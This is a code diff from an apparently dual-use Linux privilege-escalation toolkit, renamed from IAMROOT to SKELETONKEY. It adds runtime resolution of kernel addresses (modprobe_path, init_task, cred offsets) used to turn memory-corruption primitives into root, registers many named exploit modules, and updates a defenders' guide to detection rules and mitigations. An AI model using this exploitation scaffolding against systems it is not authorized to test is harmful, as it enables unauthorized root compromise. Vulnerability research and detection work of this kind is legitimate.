+struct skeletonkey_module {
+    /* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
    const char *name;

    /* CVE identifier (or "VARIANT" if no CVE assigned). */
@@ -70,20 +71,20 @@ struct iamroot_module {
    const char *kernel_range;

    /* Probe the host. Should be side-effect-free unless ctx->active_probe
-     * is true. Return IAMROOT_VULNERABLE if confirmed,
-     * IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
-     * or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
-    iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
+     * is true. Return SKELETONKEY_VULNERABLE if confirmed,
+     * SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
+     * or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
+    skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);

    /* Run the exploit. Caller has already passed the --i-know gate. */
-    iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);

    /* Apply a temporary mitigation. NULL if none offered. */
-    iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);

    /* Undo --exploit (e.g. evict from page cache) or --mitigate side
     * effects. NULL if no cleanup applies. */
-    iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
+    skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);

    /* Detection rule corpus — embedded so the binary is self-
     * contained. Each may be NULL if this module ships no rules for
@@ -95,4 +96,4 @@ struct iamroot_module {
    const char *detect_falco;    /* falco rules content */
 };

-#endif /* IAMROOT_MODULE_H */
+#endif /* SKELETONKEY_MODULE_H */
@@ -0,0 +1,350 @@
+/*
+ * SKELETONKEY — kernel offset resolution
+ *
+ * See offsets.h for the four-source chain (env → kallsyms → System.map
+ * → embedded table). This implementation is deliberately small and
+ * dependency-free.
+ */
+
+#include "offsets.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <errno.h>
+#include <fnmatch.h>
+#include <sys/utsname.h>
+
+/* ------------------------------------------------------------------
+ * Embedded relative-offset table.
+ *
+ * Each entry's modprobe_path / init_task / poweroff_cmd values are
+ * stored as offsets *relative to _text* (kbase). To resolve absolute
+ * VAs we add a kbase leak (e.g. from EntryBleed).
+ *
+ * Entries here are seeded EMPTY in v0.2.0 except for a small set whose
+ * offsets are widely documented in public CTF writeups + Ubuntu's
+ * own debug-symbol packages. Operators on other kernels populate via
+ * env var or extend this table.
+ *
+ * To add a verified entry on a kernel you own:
+ *   sudo grep -E " (modprobe_path|init_task|poweroff_cmd|init_cred)$" \
+ *        /boot/System.map-$(uname -r)
+ * Subtract _text VA from each to get the relative offsets.
+ * ------------------------------------------------------------------ */
+struct table_entry {
+    const char *release_glob;  /* fnmatch glob against uname -r */
+    const char *distro_match;  /* prefix-match against /etc/os-release ID, or NULL=any */
+    uintptr_t rel_modprobe_path;
+    uintptr_t rel_poweroff_cmd;
+    uintptr_t rel_init_task;
+    uintptr_t rel_init_cred;
+    uint32_t cred_offset_real;
+    uint32_t cred_offset_eff;
+};
+
+/* Note: relative offsets below are PLACEHOLDERS for the schema. The
+ * env-var override + kallsyms + System.map paths are the verified
+ * runtime sources. Operators who validate offsets on a specific
+ * kernel build are encouraged to upstream entries here. */
+static const struct table_entry kernel_table[] = {
+    /* Schema example. Uncomment + verify before relying on it.
+     *
+     * { .release_glob       = "5.15.0-25-generic",
+     *   .distro_match       = "ubuntu",
+     *   .rel_modprobe_path  = 0x148e480,
+     *   .rel_poweroff_cmd   = 0x148e3a0,
+     *   .rel_init_task      = 0x1c11dc0,
+     *   .rel_init_cred      = 0x1e0c460,
+     *   .cred_offset_real   = 0x758,
+     *   .cred_offset_eff    = 0x760, },
+     */
+    /* Sentinel */
+    { NULL, NULL, 0, 0, 0, 0, 0, 0 }
+};
+
+/* Defaults that hold across most x86_64 kernels in the target era. */
+#define DEFAULT_CRED_REAL_OFFSET   0x738
+#define DEFAULT_CRED_EFF_OFFSET    0x740
+#define DEFAULT_CRED_UID_OFFSET    0x4
+
+const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
+{
+    switch (src) {
+    case OFFSETS_NONE:          return "none";
+    case OFFSETS_FROM_ENV:      return "env";
+    case OFFSETS_FROM_KALLSYMS: return "kallsyms";
+    case OFFSETS_FROM_SYSMAP:   return "System.map";
+    case OFFSETS_FROM_TABLE:    return "table";
+    }
+    return "?";
+}
+
+/* Parse hex/decimal — accepts "0x..." or plain decimal. */
+static int parse_addr(const char *s, uintptr_t *out)
+{
+    if (!s || !*s) return 0;
+    errno = 0;
+    char *end = NULL;
+    unsigned long long v = strtoull(s, &end, 0);
+    if (errno != 0 || end == s) return 0;
+    *out = (uintptr_t)v;
+    return 1;
+}
+
+static void read_distro(char *out, size_t sz)
+{
+    out[0] = '\0';
+    FILE *f = fopen("/etc/os-release", "r");
+    if (!f) return;
+    char line[256];
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, "ID=", 3) == 0) {
+            char *p = line + 3;
+            if (*p == '"') p++;
+            size_t i = 0;
+            while (*p && *p != '"' && *p != '\n' && i + 1 < sz) {
+                out[i++] = (char)tolower((unsigned char)*p++);
+            }
+            out[i] = '\0';
+            break;
+        }
+    }
+    fclose(f);
+}
+
+/* ------------------------------------------------------------------
+ * Source 1: environment variables
+ * ------------------------------------------------------------------ */
+static void apply_env(struct skeletonkey_kernel_offsets *o)
+{
+    const char *v;
+    uintptr_t a;
+
+    if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
+        if (!o->kbase) o->kbase = a;
+    }
+    if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
+        if (!o->modprobe_path) {
+            o->modprobe_path = a;
+            o->source_modprobe = OFFSETS_FROM_ENV;
+        }
+    }
+    if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
+        if (!o->poweroff_cmd) o->poweroff_cmd = a;
+    }
+    if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
+        if (!o->init_task) {
+            o->init_task = a;
+            o->source_init_task = OFFSETS_FROM_ENV;
+        }
+    }
+    if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
+        if (!o->init_cred) o->init_cred = a;
+    }
+    if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
+        if (!o->cred_offset_real) {
+            o->cred_offset_real = (uint32_t)a;
+            o->source_cred = OFFSETS_FROM_ENV;
+        }
+    }
+    if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
+        if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
+    }
+    if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
+        if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
+    }
+}
+
+/* ------------------------------------------------------------------
+ * Source 2/3: symbol-table file parsing (System.map or kallsyms share
+ * the same "ADDR TYPE NAME" format).
+ * ------------------------------------------------------------------ */
+static int parse_symfile(const char *path,
+                         struct skeletonkey_kernel_offsets *o,
+                         enum skeletonkey_offset_source tag)
+{
+    FILE *f = fopen(path, "r");
+    if (!f) return 0;
+
+    int filled = 0;
+    char line[512];
+    int saw_nonzero = 0;
+    while (fgets(line, sizeof line, f)) {
+        char *p = line;
+        while (*p && isspace((unsigned char)*p)) p++;
+        if (!*p) continue;
+
+        char *end = NULL;
+        unsigned long long addr = strtoull(p, &end, 16);
+        if (end == p || !end) continue;
+        if (addr != 0) saw_nonzero = 1;
+
+        while (*end && isspace((unsigned char)*end)) end++;
+        if (!*end) continue;
+        /* skip type char */
+        end++;
+        while (*end && isspace((unsigned char)*end)) end++;
+        if (!*end) continue;
+
+        char *nl = strchr(end, '\n');
+        if (nl) *nl = '\0';
+
+        if (strcmp(end, "modprobe_path") == 0 && !o->modprobe_path) {
+            o->modprobe_path = (uintptr_t)addr;
+            o->source_modprobe = tag;
+            filled++;
+        } else if (strcmp(end, "poweroff_cmd") == 0 && !o->poweroff_cmd) {
+            o->poweroff_cmd = (uintptr_t)addr;
+            filled++;
+        } else if (strcmp(end, "init_task") == 0 && !o->init_task) {
+            o->init_task = (uintptr_t)addr;
+            o->source_init_task = tag;
+            filled++;
+        } else if (strcmp(end, "init_cred") == 0 && !o->init_cred) {
+            o->init_cred = (uintptr_t)addr;
+            filled++;
+        } else if (strcmp(end, "_text") == 0 && !o->kbase) {
+            o->kbase = (uintptr_t)addr;
+        }
+    }
+    fclose(f);
+
+    /* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
+     * that as "couldn't read", not "actually zero". */
+    if (!saw_nonzero) {
+        o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
+        o->source_modprobe = o->source_init_task = OFFSETS_NONE;
+        return 0;
+    }
+    return filled;
+}
+
+/* ------------------------------------------------------------------
+ * Source 4: embedded table — relative offsets, applied on top of kbase
+ * if we already have one.
+ * ------------------------------------------------------------------ */
+static void apply_table(struct skeletonkey_kernel_offsets *o)
+{
+    if (!o->kernel_release[0]) return;
+
+    for (const struct table_entry *e = kernel_table; e->release_glob; e++) {
+        if (e->distro_match && o->distro[0]
+            && strncmp(e->distro_match, o->distro, strlen(e->distro_match)) != 0) {
+            continue;
+        }
+        if (fnmatch(e->release_glob, o->kernel_release, 0) != 0) continue;
+
+        /* Match. Apply, but only if we have a kbase (relative offsets
+         * are useless absent that). */
+        if (!o->kbase) return;
+
+        if (!o->modprobe_path && e->rel_modprobe_path) {
+            o->modprobe_path = o->kbase + e->rel_modprobe_path;
+            o->source_modprobe = OFFSETS_FROM_TABLE;
+        }
+        if (!o->poweroff_cmd && e->rel_poweroff_cmd) {
+            o->poweroff_cmd = o->kbase + e->rel_poweroff_cmd;
+        }
+        if (!o->init_task && e->rel_init_task) {
+            o->init_task = o->kbase + e->rel_init_task;
+            o->source_init_task = OFFSETS_FROM_TABLE;
+        }
+        if (!o->init_cred && e->rel_init_cred) {
+            o->init_cred = o->kbase + e->rel_init_cred;
+        }
+        if (!o->cred_offset_real && e->cred_offset_real) {
+            o->cred_offset_real = e->cred_offset_real;
+            o->source_cred = OFFSETS_FROM_TABLE;
+        }
+        if (!o->cred_offset_eff && e->cred_offset_eff) {
+            o->cred_offset_eff = e->cred_offset_eff;
+        }
+        return;
+    }
+}
+
+/* ------------------------------------------------------------------
+ * Top-level resolve()
+ * ------------------------------------------------------------------ */
+int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
+{
+    memset(out, 0, sizeof *out);
+
+    struct utsname u;
+    if (uname(&u) == 0) {
+        snprintf(out->kernel_release, sizeof out->kernel_release, "%s", u.release);
+    }
+    read_distro(out->distro, sizeof out->distro);
+
+    /* Defaults — only used if no source overrides. */
+    out->cred_uid_offset = DEFAULT_CRED_UID_OFFSET;
+
+    /* 1. env */
+    apply_env(out);
+
+    /* 2. /proc/kallsyms — only fills if non-zero addrs present */
+    parse_symfile("/proc/kallsyms", out, OFFSETS_FROM_KALLSYMS);
+
+    /* 3. /boot/System.map-<release> */
+    char path[256];
+    snprintf(path, sizeof path, "/boot/System.map-%s", out->kernel_release);
+    parse_symfile(path, out, OFFSETS_FROM_SYSMAP);
+
+    /* 4. embedded table (uses any kbase already discovered) */
+    apply_table(out);
+
+    /* Fill any remaining struct-offset gaps with defaults so that
+     * arb-write-via-init_task-+offset still has a chance even without
+     * a full source. Mark as TABLE so caller can see they're defaulted. */
+    if (!out->cred_offset_real) {
+        out->cred_offset_real = DEFAULT_CRED_REAL_OFFSET;
+        if (out->source_cred == OFFSETS_NONE) out->source_cred = OFFSETS_FROM_TABLE;
+    }
+    if (!out->cred_offset_eff) {
+        out->cred_offset_eff = DEFAULT_CRED_EFF_OFFSET;
+    }
+
+    int critical = 0;
+    if (out->modprobe_path) critical++;
+    if (out->init_task)     critical++;
+    if (out->cred_offset_real && out->cred_uid_offset) critical++;
+    return critical;
+}
+
+void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
+                                      uintptr_t leaked_kbase)
+{
+    if (!leaked_kbase) return;
+    /* Set kbase if we didn't have one, then re-apply the embedded table. */
+    if (!off->kbase) off->kbase = leaked_kbase;
+    apply_table(off);
+}
+
+bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
+{
+    return off && off->modprobe_path != 0;
+}
+
+bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
+{
+    return off && off->init_task != 0 && off->cred_offset_real != 0
+           && off->cred_uid_offset != 0;
+}
+
+void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
+{
+    fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
+            off->kernel_release[0] ? off->kernel_release : "?",
+            off->distro[0]         ? off->distro         : "?");
+    fprintf(stderr, "[i] offsets: kbase=0x%lx  modprobe_path=0x%lx (%s)\n",
+            (unsigned long)off->kbase,
+            (unsigned long)off->modprobe_path,
+            skeletonkey_offset_source_name(off->source_modprobe));
+    fprintf(stderr, "[i] offsets: init_task=0x%lx (%s)  cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
+            (unsigned long)off->init_task,
+            skeletonkey_offset_source_name(off->source_init_task),
+            off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
+            skeletonkey_offset_source_name(off->source_cred));
+}
@@ -0,0 +1,93 @@
+/*
+ * SKELETONKEY — kernel offset resolution
+ *
+ * The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
+ * (heap-OOB write, UAF, etc.). Converting that to root requires
+ * arbitrary write at a specific kernel virtual address — usually
+ * `modprobe_path` (writes a payload path → execve unknown binary →
+ * modprobe runs payload as root) or `current->cred->uid` (set to 0).
+ *
+ * Those addresses vary per kernel build. This file resolves them at
+ * runtime via a four-source chain:
+ *
+ *   1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
+ *   2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
+ *   3. /boot/System.map-$(uname -r) (world-readable on some distros)
+ *   4. Embedded table keyed by `uname -r` glob (entries are
+ *      relative-to-_text, applied on top of an EntryBleed kbase leak
+ *      so KASLR is handled)
+ *
+ * Per the verified-vs-claimed bar: offsets are never fabricated. If
+ * none of the four sources resolve, full-chain refuses with an error
+ * pointing the operator at the manual workflow.
+ */
+
+#ifndef SKELETONKEY_OFFSETS_H
+#define SKELETONKEY_OFFSETS_H
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <stddef.h>
+
+enum skeletonkey_offset_source {
+    OFFSETS_NONE         = 0,
+    OFFSETS_FROM_ENV     = 1,
+    OFFSETS_FROM_KALLSYMS = 2,
+    OFFSETS_FROM_SYSMAP  = 3,
+    OFFSETS_FROM_TABLE   = 4,
+};
+
+struct skeletonkey_kernel_offsets {
+    /* Host fingerprint */
+    char kernel_release[128];  /* uname -r */
+    char distro[64];           /* parsed from /etc/os-release ID= */
+
+    /* Kernel base — needed when offsets are relative-to-_text.
+     * Set by skeletonkey_offsets_apply_kbase_leak() after EntryBleed runs. */
+    uintptr_t kbase;
+
+    /* Symbol virtual addresses (final, post-KASLR-resolution). */
+    uintptr_t modprobe_path;   /* modprobe_path[] string */
+    uintptr_t poweroff_cmd;    /* poweroff_cmd[] string (alt target) */
+    uintptr_t init_task;       /* init_task struct */
+    uintptr_t init_cred;       /* init_cred struct (or 0) */
+
+    /* Struct offsets — same across most x86_64 kernels but config-sensitive. */
+    uint32_t cred_offset_real; /* offset of real_cred in task_struct */
+    uint32_t cred_offset_eff;  /* offset of cred (effective) in task_struct */
+    uint32_t cred_uid_offset;  /* offset of uid_t uid in cred (almost always 4) */
+
+    /* Where did each field come from. */
+    enum skeletonkey_offset_source source_modprobe;
+    enum skeletonkey_offset_source source_init_task;
+    enum skeletonkey_offset_source source_cred;
+};
+
+/* Best-effort resolution. Returns the number of critical fields
+ * resolved (modprobe_path / init_task / cred offsets count). Caller
+ * checks specific fields it needs.
+ *
+ * Resolution chain is tried in order; later sources do NOT overwrite
+ * a field already set by an earlier source. */
+int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out);
+
+/* Apply a runtime-leaked kbase to any embedded-table entries that
+ * shipped as relative-to-_text offsets. Idempotent. */
+void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
+                                      uintptr_t leaked_kbase);
+
+/* Returns true if modprobe_path can be written (the simplest root-pop
+ * finisher). */
+bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off);
+
+/* Returns true if init_task + cred offsets are known (the cred-uid
+ * finisher). */
+bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off);
+
+/* For diagnostic logging — pretty-print what we resolved to stderr. */
+void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off);
+
+/* Helper: return the name of the source enum. */
+const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src);
+
+#endif /* SKELETONKEY_OFFSETS_H */
@@ -1,5 +1,5 @@
 /*
- * IAMROOT — module registry implementation
+ * SKELETONKEY — module registry implementation
 *
 * Simple flat array. Resized in chunks of 16. We never expect more
 * than a few dozen modules, so this is fine.
@@ -14,22 +14,22 @@

 #define REGISTRY_CHUNK 16

-static const struct iamroot_module **g_modules = NULL;
+static const struct skeletonkey_module **g_modules = NULL;
 static size_t g_count = 0;
 static size_t g_cap = 0;

-void iamroot_register(const struct iamroot_module *m)
+void skeletonkey_register(const struct skeletonkey_module *m)
 {
    if (m == NULL || m->name == NULL) {
-        fprintf(stderr, "[!] iamroot_register: NULL module or unnamed module\n");
+        fprintf(stderr, "[!] skeletonkey_register: NULL module or unnamed module\n");
        return;
    }
    if (g_count == g_cap) {
        size_t new_cap = g_cap + REGISTRY_CHUNK;
-        const struct iamroot_module **n =
+        const struct skeletonkey_module **n =
            realloc((void *)g_modules, new_cap * sizeof(*g_modules));
        if (n == NULL) {
-            fprintf(stderr, "[!] iamroot_register: OOM\n");
+            fprintf(stderr, "[!] skeletonkey_register: OOM\n");
            return;
        }
        g_modules = n;
@@ -38,18 +38,18 @@ void iamroot_register(const struct iamroot_module *m)
    g_modules[g_count++] = m;
 }

-size_t iamroot_module_count(void)
+size_t skeletonkey_module_count(void)
 {
    return g_count;
 }

-const struct iamroot_module *iamroot_module_at(size_t i)
+const struct skeletonkey_module *skeletonkey_module_at(size_t i)
 {
    if (i >= g_count) return NULL;
    return g_modules[i];
 }

-const struct iamroot_module *iamroot_module_find(const char *name)
+const struct skeletonkey_module *skeletonkey_module_find(const char *name)
 {
    if (name == NULL) return NULL;
    for (size_t i = 0; i < g_count; i++) {
@@ -1,40 +1,44 @@
 /*
- * IAMROOT — module registry
+ * SKELETONKEY — module registry
 *
 * Global list of registered modules. Each family contributes via
- * register_<family>_modules() called from iamroot main() at startup.
+ * register_<family>_modules() called from skeletonkey main() at startup.
 */

-#ifndef IAMROOT_REGISTRY_H
-#define IAMROOT_REGISTRY_H
+#ifndef SKELETONKEY_REGISTRY_H
+#define SKELETONKEY_REGISTRY_H

 #include "module.h"

-void iamroot_register(const struct iamroot_module *m);
+void skeletonkey_register(const struct skeletonkey_module *m);

-size_t iamroot_module_count(void);
-const struct iamroot_module *iamroot_module_at(size_t i);
+size_t skeletonkey_module_count(void);
+const struct skeletonkey_module *skeletonkey_module_at(size_t i);

 /* Find a module by name. Returns NULL if not found. */
-const struct iamroot_module *iamroot_module_find(const char *name);
+const struct skeletonkey_module *skeletonkey_module_find(const char *name);

 /* Each module family declares one of these in its public header. The
- * top-level iamroot main() calls them in order at startup. */
-void iamroot_register_copy_fail_family(void);
-void iamroot_register_dirty_pipe(void);
-void iamroot_register_entrybleed(void);
-void iamroot_register_pwnkit(void);
-void iamroot_register_nf_tables(void);
-void iamroot_register_overlayfs(void);
-void iamroot_register_cls_route4(void);
-void iamroot_register_dirty_cow(void);
-void iamroot_register_ptrace_traceme(void);
-void iamroot_register_netfilter_xtcompat(void);
-void iamroot_register_af_packet(void);
-void iamroot_register_fuse_legacy(void);
-void iamroot_register_stackrot(void);
-void iamroot_register_af_packet2(void);
-void iamroot_register_cgroup_release_agent(void);
-void iamroot_register_overlayfs_setuid(void);
+ * top-level skeletonkey main() calls them in order at startup. */
+void skeletonkey_register_copy_fail_family(void);
+void skeletonkey_register_dirty_pipe(void);
+void skeletonkey_register_entrybleed(void);
+void skeletonkey_register_pwnkit(void);
+void skeletonkey_register_nf_tables(void);
+void skeletonkey_register_overlayfs(void);
+void skeletonkey_register_cls_route4(void);
+void skeletonkey_register_dirty_cow(void);
+void skeletonkey_register_ptrace_traceme(void);
+void skeletonkey_register_netfilter_xtcompat(void);
+void skeletonkey_register_af_packet(void);
+void skeletonkey_register_fuse_legacy(void);
+void skeletonkey_register_stackrot(void);
+void skeletonkey_register_af_packet2(void);
+void skeletonkey_register_cgroup_release_agent(void);
+void skeletonkey_register_overlayfs_setuid(void);
+void skeletonkey_register_nft_set_uaf(void);
+void skeletonkey_register_af_unix_gc(void);
+void skeletonkey_register_nft_fwd_dup(void);
+void skeletonkey_register_nft_payload(void);

-#endif /* IAMROOT_REGISTRY_H */
+#endif /* SKELETONKEY_REGISTRY_H */
@@ -14,7 +14,7 @@ modules/<module_name>/
 ├── MODULE.md                  # Human-readable writeup of the bug
 ├── NOTICE.md                  # Credits to original researcher
 ├── kernel-range.json          # Machine-readable affected kernels
-├── module.c                   # Implements iamroot_module interface
+├── module.c                   # Implements skeletonkey_module interface
 ├── module.h
 ├── detect/
 │   ├── auditd.rules           # blue team detection
@@ -24,10 +24,10 @@ modules/<module_name>/
 └── tests/                     # per-module tests (run in CI matrix)
 ```

-### `iamroot_module` interface (planned, Phase 1)
+### `skeletonkey_module` interface (planned, Phase 1)

 ```c
-struct iamroot_module {
+struct skeletonkey_module {
    const char *name;           /* "copy_fail" */
    const char *cve;            /* "CVE-2026-31431" */
    const char *summary;        /* one-line description */
@@ -35,29 +35,29 @@ struct iamroot_module {
    /* Return 1 if host appears vulnerable, 0 if patched/immune,
     * -1 if probe couldn't run. May call entrybleed_leak_kbase()
     * etc. from core/ if a leak primitive is needed. */
-    int (*detect)(struct iamroot_host *host);
+    int (*detect)(struct skeletonkey_host *host);

    /* Run the exploit. Caller has already passed the
     * authorization gate. Returns 0 on root acquired,
     * nonzero on failure. */
-    int (*exploit)(struct iamroot_host *host, struct iamroot_opts *opts);
+    int (*exploit)(struct skeletonkey_host *host, struct skeletonkey_opts *opts);

    /* Apply a runtime mitigation for this CVE (sysctl, module
     * blacklist, etc.). Returns 0 on success. NULL if no
     * mitigation is offered. */
-    int (*mitigate)(struct iamroot_host *host);
+    int (*mitigate)(struct skeletonkey_host *host);

    /* Undo --exploit-backdoor or --mitigate side effects. */
-    int (*cleanup)(struct iamroot_host *host);
+    int (*cleanup)(struct skeletonkey_host *host);

    /* Affected kernel version range, distros covered, etc. */
-    const struct iamroot_kernel_range *ranges;
+    const struct skeletonkey_kernel_range *ranges;
    size_t n_ranges;
 };
 ```

 Modules register themselves at link time via a constructor-attribute
-table. The top-level `iamroot` binary iterates the registry on each
+table. The top-level `skeletonkey` binary iterates the registry on each
 invocation.

 ## Shared `core/`
@@ -78,7 +78,7 @@ Code that more than one module needs lives in `core/`:

 ## Top-level dispatcher

-`iamroot.c` (planned, Phase 1) is the CLI entry point. Responsibilities:
+`skeletonkey.c` (planned, Phase 1) is the CLI entry point. Responsibilities:

 1. Parse args (`--scan`, `--exploit <name>`, `--mitigate`,
   `--detect-rules`, `--cleanup`, etc.)
@@ -109,7 +109,7 @@ the module).
 1. `git checkout -b add-cve-XXXX-NNNN`
 2. `cp -r modules/_stubs/_template modules/<module_name>`
 3. Fill in `MODULE.md`, `NOTICE.md`, `kernel-range.json`
-4. Implement `module.c` exposing the `iamroot_module` interface
+4. Implement `module.c` exposing the `skeletonkey_module` interface
 5. Ship at least one detection rule under `detect/`
 6. Add tests under `tests/`
 7. PR. CI runs the matrix. If it lands root on at least one
@@ -1,25 +1,25 @@
-# IAMROOT for defenders
+# SKELETONKEY for defenders

-IAMROOT is dual-use: the same binary that runs exploits also ships the
+SKELETONKEY is dual-use: the same binary that runs exploits also ships the
 detection rules to spot them. This document is for the blue team.

 ## TL;DR

 ```bash
 # 1. Detect what you're vulnerable to (no system modification)
-sudo iamroot --scan --json | jq .
+sudo skeletonkey --scan --json | jq .

 # 2. Deploy detection rules covering every bundled CVE
-sudo iamroot --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo systemctl restart auditd

 # 3. (Optional) Apply pre-patch mitigations for vulnerable families
-sudo iamroot --mitigate copy_fail   # or whatever module reports VULNERABLE
+sudo skeletonkey --mitigate copy_fail   # or whatever module reports VULNERABLE

 # 4. Watch
-sudo ausearch -k iamroot-copy-fail -ts recent
-sudo ausearch -k iamroot-dirty-pipe -ts recent
-sudo ausearch -k iamroot-pwnkit -ts recent
+sudo ausearch -k skeletonkey-copy-fail -ts recent
+sudo ausearch -k skeletonkey-dirty-pipe -ts recent
+sudo ausearch -k skeletonkey-pwnkit -ts recent
 ```

 ## Why a single tool for offense and defense
@@ -27,7 +27,7 @@ sudo ausearch -k iamroot-pwnkit -ts recent
 Public LPE PoCs ship without detection rules. Public detection rules
 ship without test corpora. The gap means defenders deploy rules they
 never validate against a real exploit, and attackers iterate against
-defenders who haven't tuned thresholds. IAMROOT closes that loop:
+defenders who haven't tuned thresholds. SKELETONKEY closes that loop:

 - Each module ships an exploit AND the detection rules that catch it.
 - Every CVE in `CVES.md` has a row in the rule corpus.
@@ -41,7 +41,7 @@ defenders who haven't tuned thresholds. IAMROOT closes that loop:
 ### Inventory what's bundled

 ```bash
-iamroot --list
+skeletonkey --list
 ```

 Prints every registered module with CVE, family, and one-line summary.
@@ -49,9 +49,9 @@ Prints every registered module with CVE, family, and one-line summary.
 ### Run all detectors

 ```bash
-iamroot --scan                          # human-readable
-iamroot --scan --json                   # one JSON object → SIEM ingest
-iamroot --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
+skeletonkey --scan                          # human-readable
+skeletonkey --scan --json                   # one JSON object → SIEM ingest
+skeletonkey --scan --json | jq '.modules[] | select(.result == "VULNERABLE")'
 ```

 Result codes per module:
@@ -63,23 +63,23 @@ Result codes per module:
 | `PRECOND_FAIL` | Preconditions missing (module/feature not installed) | 4 |
 | `TEST_ERROR` | Probe could not run (permissions, missing tools, etc.) | 1 |

-`iamroot --scan` returns the WORST result code across all modules.
+`skeletonkey --scan` returns the WORST result code across all modules.
 Use this in CI to fail builds that produce vulnerable images.

 ### Deploy detection rules

 ```bash
 # auditd (most environments)
-sudo iamroot --detect-rules --format=auditd \
-  | sudo tee /etc/audit/rules.d/99-iamroot.rules
+sudo skeletonkey --detect-rules --format=auditd \
+  | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
 sudo augenrules --load     # or systemctl restart auditd

 # Sigma (for SIEMs that ingest sigma)
-iamroot --detect-rules --format=sigma > /etc/falco/iamroot.sigma.yml
+skeletonkey --detect-rules --format=sigma > /etc/falco/skeletonkey.sigma.yml

 # YARA / Falco — placeholders for future modules; currently empty
-iamroot --detect-rules --format=yara
-iamroot --detect-rules --format=falco
+skeletonkey --detect-rules --format=yara
+skeletonkey --detect-rules --format=falco
 ```

 Rules are emitted in registry order, deduplicated by string-pointer:
@@ -91,19 +91,19 @@ auditd config).

 | Key | Modules | What it catches |
 |---|---|---|
-| `iamroot-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
-| `iamroot-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
-| `iamroot-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
-| `iamroot-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
-| `iamroot-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
-| `iamroot-pwnkit` | pwnkit | pkexec watch |
-| `iamroot-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |
+| `skeletonkey-copy-fail` | copy_fail, copy_fail_gcm, dirty_frag_esp{,6}, dirty_frag_rxrpc | Writes to passwd/shadow/sudoers/su |
+| `skeletonkey-copy-fail-afalg` | copy_fail family | AF_ALG socket creation (kernel crypto API used by exploit) |
+| `skeletonkey-copy-fail-xfrm` | copy_fail family | xfrm setsockopt (Dirty Frag ESP variants) |
+| `skeletonkey-dirty-pipe` | dirty_pipe | Same target files; complements copy-fail watches |
+| `skeletonkey-dirty-pipe-splice` | dirty_pipe | splice() syscalls (the bug's primitive) |
+| `skeletonkey-pwnkit` | pwnkit | pkexec watch |
+| `skeletonkey-pwnkit-execve` | pwnkit | execve of pkexec — combine with audit of argv to catch argc=0 |

 Search:

 ```bash
-sudo ausearch -k iamroot-copy-fail -ts today
-sudo ausearch -k iamroot-pwnkit -ts today
+sudo ausearch -k skeletonkey-copy-fail -ts today
+sudo ausearch -k skeletonkey-pwnkit -ts today
 ```

 ### Mitigate (pre-patch)
@@ -114,10 +114,10 @@ distro-portable workarounds:
 ```bash
 # Currently: copy_fail_family — blacklists algif_aead/esp4/esp6/rxrpc,
 # sets kernel.apparmor_restrict_unprivileged_userns=1, drops caches.
-sudo iamroot --mitigate copy_fail
